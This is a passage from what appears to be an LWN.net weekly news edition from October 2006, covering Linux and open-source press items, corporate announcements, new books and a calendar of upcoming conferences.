are a prime candidate for Neuro-Evolving Robotic Operatives (N.E.R.O.), a
cross-platform combat game where the key to winning is training your own
intelligent non-player characters. On the field of play, the only rule is
"let the best AI win." I tested my skills with the Linux client, and found
N.E.R.O. to be a very different sort of game."
Comments (1 posted)
Linux.com
looks at recent improvements to the OO.o chart module.
"
Want to see a dinosaur? Press the Chart button in OpenOffice.org Calc, and you will be presented with a real software relic. While other parts of OpenOffice.org have been thoroughly redesigned and updated, the features and the overall look of the chart module remain virtually untouched since version 1.0. The situation is changing, though, as a group of OpenOffice.org developers has started to work on a new chart module. The first results of their endeavors were presented on this year's OOoCon. Here is what they've done so far."
Comments (12 posted)
Miscellaneous
Steven J. Vaughan-Nichols
remembers Ray
Noorda. "
Indeed, not long before he retired because of the onslaught
of Alzheimers, Noorda believed that Linux was the future for Novell and
supported Bryan Sparks and Ransom Love in an internal Linux skunkworks
project. Novell, by then under Bob Frankenberg, killed off the Linux
project. Soon thereafter, Noorda cut his ties with Novell. Noorda wasn't
done with Linux even if the Novell of the mid-90s was. He used his
investment company, The Canopy Group, to bankroll Caldera Systems, one of
the first Linux companies."
Comments (3 posted)
Page editor: Forrest Cook
Announcements
Non-Commercial announcements
Remember the Eudora mail client? Qualcomm has
announced that it will be working with Mozilla to make an open-source version of Eudora based on Thunderbird. "
Future versions of Eudora
will be free and open source, while retaining Eudora's uniquely rich
feature set and productivity enhancements. QUALCOMM and Mozilla will each
participate in, and continue to foster development communities based around
the open source Mozilla project, with a view to enhancing the capabilities
and ease of use of both Eudora and Thunderbird."
Comments (2 posted)
Commercial announcements
Agilysys, Inc. has
announced a partnership with Red Hat.
"
Agilysys, Inc., a leading provider of enterprise computer
technology solutions, and Red Hat, Inc., the world's leading
provider of open source solutions to the enterprise, today announced that
the two companies have signed an enterprise reseller agreement to deliver
Red Hat solutions and the benefits of open source to Agilysys customers."
Comments (none posted)
Mandriva has announced the signing of a definitive agreement to
acquire Linbox, pending shareholder approval.
"
Active in both Open Source and Linux market for 10 years, Linbox
develops and markets software infrastructure administration products
for medium to large organizations. The software products marketed by
the company encompass authentication, back up and asset management,
and more. Linbox has two flagship products, Linbox Directory Server
("LDS") and Linbox Rescue Server ("LRS")."
Full Story (comments: none)
Terra Soft has announced the construction of the first Cell-based
supercomputing cluster.
"
In the fall of '05, Terra Soft was contacted by Sony Computer Entertainment,
Inc. (SCEI) to develop and manage a supercomputing cluster built upon the IBM
Cell Broadband Engine and the Linux OS. This spring, Terra Soft was
contracted by Sony and in August completed the construction of a 3000 sq-ft
supercomputing facility capable of housing 2400 1U systems. In this remodeled
extension to the Loveland, Colorado headquarters, Terra Soft will construct a
test cluster and a substantially larger production cluster."
Full Story (comments: none)
Cavium Networks, Inc. and Wind River, Inc have
announced the availability of the Wind River Platform for Network
Equipment and Wind River VxWorks 6.1 for Cavium Networks' OCTEON
Multi-core MIPS64 based Processor Family.
"
The OCTEON(TM) Processor family consists of 1 to 16 MIPS64 based
cnMIPS(TM) cores providing up to 16GHz of 64-bit compute processing on a
single chip. Additionally, OCTEON incorporates the most advanced
multi-layer application acceleration for networking control, data and
services applications. The OCTEON Processor family integrates up to 8
Gigabit ports, up to dual SPI-4.2, PCI-X, up to 144-bit DDR2 controller, up
to dual 18-bit RLDRAM II controllers, on-chip packet processing, QoS, TCP,
compression/ decompression, encryption and pattern matching acceleration
hardware to deliver a substantial price, performance and power benefit over
alternative solutions."
Comments (none posted)
Wyse Technology has
announced a new line of Wi-Fi enabled thin clients.
"
"The factory installed wireless capability, with the software and
hardware fully integrated, enables a variety of new applications for quick,
secure deployment in hotel lobbies, airport kiosks, hospitals and school
rooms," said Tarkan Maner, president of worldwide field operations, Wyse
Technology. "The simple, secure set-up of a horizontal or vertical
wall-mounted Wyse wireless product enables our customers to operate in
places that haven't been able to be wired with traditional Ethernet.""
Comments (none posted)
New Books
Prentice Hall has published the book
Embedded Linux Primer:
A Practical Real-World Approach by Christopher Hallinan.
Full Story (comments: none)
Prentice Hall has published the New Second Edition of
Core Python Programming, by Wesley J. Chun.
Full Story (comments: 1)
Resources
The October 5, 2006 edition of the
Free Software Foundation Europe Newsletter is online.
Topics include:
Regional and international Fellowship meetings,
FSFE at the Wizards of OS in Berlin,
Georg Greve at SERCI workshop in Helsinki, Finland,
FSFE at WIPO General Assembly and Other public appearances.
Full Story (comments: none)
Omni Technology Solutions has made available a
white
paper on the advantages of using SUSE SLED 10 and openSUSE 10.1 with the
Linux Desktop
Multiplier to multiple desktops. "
Modern PCs spend most of the
day idle. The Multiplied Linux Desktop strategy allows you to leverage this
unused computing power and connect up to 10 full-featured workstations to a
SINGLE, shared SLED 10 or openSUSE 10.1 computer. Ideal for Linux computer
labs, Linux thin clients, Linux Internet cafes and Linux point-of-sale
terminals."
Comments (none posted)
Konstantin Emelyanov of the NetUP company has put together a
detailed guide (pdf)
concerning installation and configuration of an open source PPPoE access
server. The configuration of a PPPoE client is also covered.
Comments (none posted)
Education and Certification
LinuxBasics.org has announced their second free Linux class,
entitled An Introduction to Linux Basics.
The course will be held online on October 19.
"
This course is designed to give a foundation of understanding of Linux
to a beginner who wants to know a little more about the system. More
advanced Linux users will find an opportunity to dig deeper into some
areas they always wanted to know more about or discover gaps in their
knowledge that they didn't know existed."
Full Story (comments: none)
Event Reports
CMP Technology has sent out a
press release about the recent Embedded
Systems Conference.
"
To enhance the attendee experience, CMP Technology introduced brand new
programs for 2006, including the Disruption Zone which featured groundbreaking innovations from leading start-ups, those taking the next big leap forward in revolutionizing the industry. Attendees also attended
"Live Teardowns" of popular electronics, like a Sony DVDirect(TM) MC1 Multi
Function DVD Recorder and a Roomba vacuum, while the "Get to the Point Panel" brought the Linux technology debate right to the exhibits floor."
Comments (none posted)
A number of session reports have been posted from the Boston GNOME summit.
Topics include:
Comments (none posted)
Upcoming Events
The Linux Users' Group of Davis will hold their next free
Linux Installfest on October 21, 2006 in Davis, CA.
Full Story (comments: none)
The Open GroupRelated has
announced the agenda for the Enterprise Architecture Practitioners Conference. The event takes place in Lisbon, Portugal on October 23-26, 2006.
"
The Open Group's Enterprise
Architecture Practitioners Conferences, now in their third year, are
globally recognized events created by and for enterprise architecture
practitioners to examine a wide variety of topics which are impacting the
profession. These include service-oriented architecture (SOA), agent
technologies, aligning enterprise architecture with business innovation,
and evolving the architecture discipline in line with business demand."
Comments (none posted)
Events: October 19, 2006 to December 18, 2006
The following event listing is taken from the
LWN.net Calendar.
| Date(s) | Event | Location |
October 18 October 19 |
International Conference on IT-Incident Management and IT-Forensics |
Stuttgart, Germany, |
October 18 October 22 |
Pike Conference 2006 |
Riga, Latvia |
October 19 October 21 |
HackLu 2006 |
Kirchberg, Luxembourg, |
October 19 October 20 |
DC PHP Conference |
Washington, D.C., |
October 20 October 22 |
aLANtejo 06 |
Évora, Portugal |
October 20 October 22 |
RubyConf 2006 |
Denver, Colorado |
October 22 October 27 |
Colorado Software Summit |
Keystone, CO, USA |
October 23 October 24 |
Mono User and Developers Meeting |
Cambridge, MA, USA |
October 23 October 26 |
Enterprise Architecture Practitioners Conf |
Lisbon, Portugal |
October 25 October 26 |
LinuxWorld UK 2006 |
London, UK, |
October 25 October 27 |
Plone Conference 2006 |
Seattle, WA, |
October 26 October 27 |
IT Underground |
Warsaw, Poland |
October 26 October 27 |
Free Software and Open Source Symposium |
Toronto, Canada |
| October 28 |
LinuxDay 2006 |
Many of them, Italy |
October 31 November 2 |
Zend/PHP Conference and Expo |
San Jose, CA, |
| November 1 |
Ingres Users Association Conference |
London, England |
November 4 November 8 |
I Jornadas técnicas KDE de |
Zaragoza, Spain |
November 4 November 11 |
Open Source in Performance and Exhibition |
London, England |
November 5 November 8 |
International PHP Conference |
Frankfurt, Germany |
November 5 November 10 |
Ubuntu Developer Summit - Mountain View |
Mountain View, CA, USA |
November 6 November 10 |
Colorado Python seminar |
Estes Park, CO, USA |
November 7 November 9 |
2006 Web 2.0 Conference |
San Francisco, CA, |
November 9 November 10 |
Forum PHP 2006 |
Paris, France, |
November 10 November 12 |
Chicago Perl Hackathon 2006 |
Chicago, IL, USA |
November 11 November 17 |
Supercomputing 2006 |
Tampa, FL, USA |
| November 11 |
FSFE Fellows Meeting |
Bolzano, Italy |
November 12 November 14 |
Firebird Conference 2006 |
Prague, Czech Republic, |
November 14 November 16 |
LinuxWorld Cologne |
Cologne, Germany |
November 16 November 17 |
III Latin American Free Software Conference |
Iguassu Falls, Brazil |
November 16 November 17 |
Conference on Software Patents |
Boston, MA, USA |
| November 18 |
Richard Stallman speaks in Seoul |
Seoul, South Korea |
November 21 November 24 |
15th International Conference on Computing |
Mexico City, Mexico, |
November 24 November 26 |
FOSS.IN 2006 |
Bangalore, India |
| November 25 |
FAVE 2006 - free software multimedia event in London |
London, UK |
November 27 November 30 |
PacSec Applied Security Conference 2006 |
Tokyo, Japan |
December 1 December 2 |
PHP Conference Brasil |
Sao Paolo, Brazil |
December 2 December 3 |
Technical Dutch Open Source Event |
Eindhoven, the Netherlands |
December 3 December 8 |
Large Installation System Administration Conference |
Washington, D.C., |
December 5 December 8 |
Open Source Developers' Conference 2006 |
Melbourne, Australia, |
December 7 December 8 |
Desktop Architects Meeting |
Portland, OR, USA |
| December 9 |
London Perl Workshop |
London, England |
December 12 December 19 |
Virtual Congress UnInet Meeting UMeet'2006 |
irc.uninet.edu, #linux |
If your event does not appear here, please
tell us about it.
Web sites
wxBlog is a new blog site
for discussion about the
wxWidgets cross-platform GUI platform.
Comments (none posted)
Miscellaneous
Filesystem developer Hans Reiser has been arrested on suspicion of murder
in the disappearance of his ex-wife. Some information can be found in
this
SFGate article.
Comments (48 posted)
Page editor: Forrest Cook